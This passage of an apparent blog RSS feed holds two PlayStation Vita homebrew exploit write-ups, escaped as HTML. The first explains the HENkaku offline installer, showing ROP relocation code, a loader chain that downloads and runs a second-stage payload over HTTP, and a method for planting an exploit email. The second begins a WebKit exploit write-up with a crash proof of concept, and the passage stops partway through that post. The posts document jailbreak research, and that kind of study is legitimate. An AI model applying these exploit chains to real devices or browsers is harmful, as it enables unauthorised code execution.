	&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;SceLibKernel_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;SceLibc_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;SceLibHttp_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;SceNet_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;SceAppMgr_base&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;nl&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;wtf?&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;relocs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, the ROP payload was getting large. As a result, the browser exploit was way too unstable (success rate around 30%).&lt;/p&gt;

&lt;p&gt;For web-based HENkaku an obvious solution that I’ve implemented was to split the ROP into two parts: the loader and the second stage. The loader creates an additional thread, then request the actual second stage payload over HTTP from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;go.henkaku.xyz/x&lt;/code&gt; URL, providing it module bases. Here’s the loader code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &quot;common.rop&quot;

data
{
	#include &quot;functions.rop&quot;

	symbol stack_size = 6 * 1024 * 1024;

	variable thread_id = -1;
	variable http_uid = -1;
	variable stack_base = -1; // second thread will pivot here
	buffer thread_info[0x80];
	buffer download_url[0x200];
	buffer tmp[0x100];
	buffer ldm_buf[7 * 4];

	#include &quot;../build/config.rop&quot;
}

code : entry
{
	sceKernelCreateThread(&quot;st2&quot;, ldm_r1_stuff, 0x10000100, stack_size, 0, 0, 0);
	store(&amp;amp;return, thread_id);
	store(0x7C, thread_info);
	sceKernelGetThreadInfo([thread_id], thread_info);
	// some free space for function calls
	add([thread_info + 0x34], 0x1000);
	store(&amp;amp;return, stack_base);

	strcat(download_url, stage2_url_base);
	snprintf(tmp, 256, &quot;?a1=%x&quot;, [stack_base]);
	strcat(download_url, tmp);
	snprintf(tmp, 256, &quot;&amp;amp;a2=%x&amp;amp;a3=%x&amp;amp;a4=%x&amp;amp;&quot;, ASLR::SceWebKit+0, ASLR::SceLibKernel+0, ASLR::SceLibc+0);
	strcat(download_url, tmp);
	snprintf(tmp, 256, &quot;&amp;amp;a5=%x&amp;amp;a6=%x&amp;amp;a7=%x&amp;amp;&quot;, ASLR::SceLibHttp+0, ASLR::SceNet+0, ASLR::SceAppMgr+0);
	strcat(download_url, tmp);

	sceHttpInit(0x10000);
	sceHttpCreateTemplate(&quot;ldr&quot;, 2, 1);
	sceHttpCreateConnectionWithURL(&amp;amp;return, download_url, 0);
	sceHttpCreateRequestWithURL(&amp;amp;return, 0, download_url, 0, 0, 0);
	store(&amp;amp;return, http_uid);
	sceHttpSendRequest([http_uid], 0, 0);
	sceHttpReadData([http_uid], [stack_base], stack_size);

	// prepare args for LDM gadget
	store([stack_base], ldm_buf+5*4);
	store(pop_pc, ldm_buf+6*4);

	// start second thread
	sceKernelStartThread([thread_id], 7 * 4, ldm_buf);

	sceKernelWaitThreadEnd([thread_id], 0, 0);
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’s written in &lt;a href=&quot;https://bitbucket.org/DaveeFTW/roptool&quot;&gt;ROPTool&lt;/a&gt; language. ROPTool in its original form basically allowed you to chain multiple function calls. However, the new version is much more powerful yet the new features aren’t actually used in the HENkaku exploit chain.&lt;/p&gt;

&lt;p&gt;I also used GCC preprocessor to allow for stuff like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#include&lt;/code&gt; and build-time ifs: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#if DEBUG #else #endif&lt;/code&gt;,&lt;/p&gt;

&lt;p&gt;On the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;go.henkaku.xyz&lt;/code&gt; side there’s a tiny &lt;a href=&quot;https://github.com/henkaku/henkaku/blob/offline-hosting/host/stage2.go&quot;&gt;Go server&lt;/a&gt; running which generates relocated payloads for your provided base addresses.&lt;/p&gt;

&lt;p&gt;Now, once the loader has downloaded the relocated payload, it pivots the newly created thread to it.&lt;/p&gt;

&lt;p&gt;Unfortunately, this method requires internet connection or another device running the ROP relocator for Vita to use. Can we do better?&lt;/p&gt;

&lt;h1 id=&quot;offline-henkaku-target&quot;&gt;Offline HENkaku target&lt;/h1&gt;

&lt;p&gt;Initially I tried to inject HENkaku code into web browser bookmark using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javascript:&lt;/code&gt; URL scheme. However, this method did not work, as there seemed to be a fairly low length limit.&lt;/p&gt;

&lt;p&gt;The next choice was the Email app. We already knew it executed all JavaScript that came in HTML emails (right? after all, that’s what I’d expect an email app to do – execute JavaScript in emails).&lt;/p&gt;

&lt;p&gt;So the idea was to make a homebrew application that would insert a new account into the Email app and “preload” an exploit email. Then the user can still use the Email app if they used it before (bad idea IMO).&lt;/p&gt;

&lt;p&gt;The email app database is stored in a SQLite file. After &lt;a href=&quot;https://github.com/henkaku/offline-installer/blob/master/src/vita_sqlite.c&quot;&gt;porting SQLite to Vita&lt;/a&gt; and &lt;a href=&quot;https://github.com/henkaku/offline-installer/blob/master/src/main.c#L38&quot;&gt;injecting the HTML email&lt;/a&gt; we still have to deal with ROP chain relocations.&lt;/p&gt;

&lt;style&gt;
.half-image {
	max-width: 400px;
}
&lt;/style&gt;

&lt;p&gt;&lt;img src=&quot;/assets/henkaku-offline/email.jpg&quot; alt=&quot;Email app that will happily execute your JavaScript. Pwn your friends by emailing them the exploit&quot; class=&quot;center-image half-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;One approach was to just stuff the whole exploit into JS &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;payload&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reloc&lt;/code&gt; arrays. Which, again, would bring success rate to about 30%. Unacceptable.&lt;/p&gt;

&lt;p&gt;The other idea was to relocate ROP using ROP. This would allow to keep the JS &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;payload&lt;/code&gt; small (resulting in high success rate) while keeping the exploit offline. Perfect.&lt;/p&gt;

&lt;h1 id=&quot;rop-relocating-rop&quot;&gt;ROP relocating ROP&lt;/h1&gt;

&lt;p&gt;In the end I had to write a loop in ROP that relocates another ROP chain and then jumps to it and, honestly, this sucked. The final ROP chain for relocations looks &lt;a href=&quot;https://gist.github.com/xyzz/606eaf162059b1ea53137bd356c0570d&quot;&gt;like this&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The simplified relocatable ROP chain is stored in memory as follows. First, the size in words is determined at build time and hardcoded into the loader &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.rop&lt;/code&gt; script. The ROP binary itself is stored on filesystem as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;size&lt;/code&gt; words followed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;size&lt;/code&gt; relocs (a word is 4 bytes, a reloc is 1 byte).&lt;/p&gt;

&lt;p&gt;The script makes use of the following variables:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index&lt;/code&gt;: Current index of the loop&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stored&lt;/code&gt;: A temporary location in memory&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rop_base&lt;/code&gt;: A location in memory that stores base address of the ROP chain&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bases&lt;/code&gt;: Pointer to the bases. What’s bases? Remember that every relocation is an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uint8_t&lt;/code&gt; number. Bases is an array of offsets that you need to apply to the ROP chain to relocate it. It works this way:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// This array is initialized inside the loader ROP chain
bases[0] = 0
bases[1] = SceWebKit_base
bases[2] = SceLibKernel_base
// ...

// then, inside the loop:
rop[i] += bases[relocs[i]]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here’s the implementation in pseudo code:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Step 1: Load current reloc addr from memory&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;r0 = [index]
r0 += 4 * rop_size_words
r0 += [rop_base]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Step 2: Load current reloc base and store to tmp mem&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;r0 = ldrb[r0] * 4
r0 += bases_base
r0 = ldr[r0]
[stored] = r0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Step 3: Load current code word&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;r0 = [index] * 4
r0 += [rop_base]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Step 4: Add current reloc to code word (perform the relocation)&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;r0 += [stored]
[stored] = r0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Step 5: Store relocated code word back into the ropchain&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;r0 = [index] * 4
r0 += [rop_base]
[r0] = [stored]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Step 6: Increment current index&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[index] += 1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Step 7: Exit the loop if we’ve relocated everything, otherwise loop&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is the hardest part. I used this gadget to perform &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmp&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ROM:82340F8C                 CMP             R0, R4
ROM:82340F8E                 BNE             loc_82340F94
ROM:82340F90                 MOVS            R0, #1
ROM:82340F92                 B               locret_82340F96
ROM:82340F94                 MOVS            R0, #0
ROM:82340F96                 POP             {R4-R6,PC}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pass arguments in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;R0&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;R4&lt;/code&gt;. If they are equal, the result in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;R0&lt;/code&gt; is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt;, otherwise &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/henkaku-offline/rop-loop.svg&quot; alt=&quot;SP direction&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now how do we loop? For a ROP chain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SP&lt;/code&gt; is incremented as we progress through it: on our platform (and on most platforms) a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop&lt;/code&gt; instruction increments &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SP&lt;/code&gt;, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;push&lt;/code&gt; instruction decrements it. In our simple case, it’s enough to just subtract a constant value from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SP&lt;/code&gt; in order to loop.&lt;/p&gt;

&lt;p&gt;This is not always the case. Remember that a ROP chain that calls functions is destructive. A function call will &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;push&lt;/code&gt; something to the stack. This will destroy an “older” part of the ropchain. However, inside my loop I don’t call any functions. So the ROP chain is safe.&lt;/p&gt;

&lt;p&gt;So what I do is:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;r0 = cmp([index], rop_size_in_words)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;now r0 is 1 if we’ve relocated everything, 0 otherwise&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;r0 -= 1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;now r0 is -1 when we want to loop, 0 otherwise&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;r0 *= sp_loop_offset
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;if it was 0 it’s still 0, otherwise a negative offset that we add to sp to loop&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;r0 += constant_value
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;this is required due to how we fetch old sp value&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;r0 += sp
sp = r0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;we will either loop here, or exit&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now that the ROP chain is relocated properly, just jump to it and execute the original HENkaku exploit.&lt;/p&gt;

&lt;h1 id=&quot;one-more-thing&quot;&gt;One more thing&lt;/h1&gt;

&lt;p&gt;We still need to load the second stage from within the first stage. However, the WebKit inside the Email app is sandboxed. It cannot access most of filesystem. Thankfully, one location we can write to, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;photo0:&lt;/code&gt;, is accessible. This is just an alias for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ux0:picture&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So what we need to do in the Offline Installer:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Create new email account&lt;/li&gt;
  &lt;li&gt;Add new HTML email to it&lt;/li&gt;
  &lt;li&gt;Drop exploit HTML to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ux0:email/message/00/00/exploit.html&lt;/code&gt;. This HTML will be loaded when you open the email.&lt;/li&gt;
  &lt;li&gt;Drop second stage relocatable ROP chain to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ux0:picture/henkaku.bin&lt;/code&gt;. This will be loaded by the first stage ROP chain from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;photo0:henkaku.bin&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can check out offlineInstaller code &lt;a href=&quot;https://github.com/henkaku/offline-installer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/henkaku-offline/henkaku-bin.jpg&quot; alt=&quot;henkaku.bin&quot; class=&quot;center-image half-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;That’s it.&lt;/p&gt;
</description>
        <pubDate>Sat, 27 Aug 2016 00:13:37 -0400</pubDate>
        <link>https://blog.xyz.is/2016/henkaku-offline-installer.html</link>
        <guid isPermaLink="true">https://blog.xyz.is/2016/henkaku-offline-installer.html</guid>
        
        
      </item>
    
      <item>
        <title>Exploiting WebKit on Vita 3.60</title>
        <description>&lt;h1 id=&quot;intro&quot;&gt;Intro&lt;/h1&gt;

&lt;p&gt;This starts the series of writeups for the &lt;a href=&quot;https://henkaku.xyz/&quot;&gt;HENkaku&lt;/a&gt; exploit chain. I’ll try not to spoil the &lt;a href=&quot;https://yifan.lu/2016/08/05/henkaku-koth-challenge&quot;&gt;KOTH challenge&lt;/a&gt; too much and only write up the parts that have already been reverse engineered, clarifying the details that other people have missed. However, in the case that the challenge becomes stale and no progress is made, I’ll probably publish the writeup anyway, lest it rots in the repo.&lt;/p&gt;

&lt;h1 id=&quot;the-poc&quot;&gt;The PoC&lt;/h1&gt;

&lt;p&gt;WebKit is our favorite target of choice for user-mode code execution. While bypassing ASLR without scripting is possible &lt;a href=&quot;https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-advancing-exploitation.html&quot;&gt;in some cases&lt;/a&gt;, the JavaScript engine trivializes it. The web browser on the Vita also does not require the user to be logged into PSN and it does not auto-update. From the perspective of an end user, installing the hack is as simple as visiting a website and clicking a button. Simply put, it’s the perfect way to deliver an exploit.&lt;/p&gt;

&lt;p&gt;Unlike on the 3DS, which has no ASLR whatsoever, Vita’s WebKit has an acceptable one providing an entropy of 9 bits. This makes brute-force attacks on ASLR extremely painful: 256 reloads on average to trigger the exploit. We need a better vulnerability than a generic use-after-free + vptr overwrite (aka spray-and-pray).&lt;/p&gt;

&lt;p&gt;Thanks to some people who prefer to be unnamed, I’ve managed to obtain a nice PoC script crashing Vita’s browser on the latest (at the time) firmware. Interestingly, I was unable to find any information about this bug on the internet or in the public WebKit bugzilla and repo, though it might have been restricted.&lt;/p&gt;

&lt;p&gt;So what I started with was this script:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;almost_oversize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x3000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;apply&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;almost_oversize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;o&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{};&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12345&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
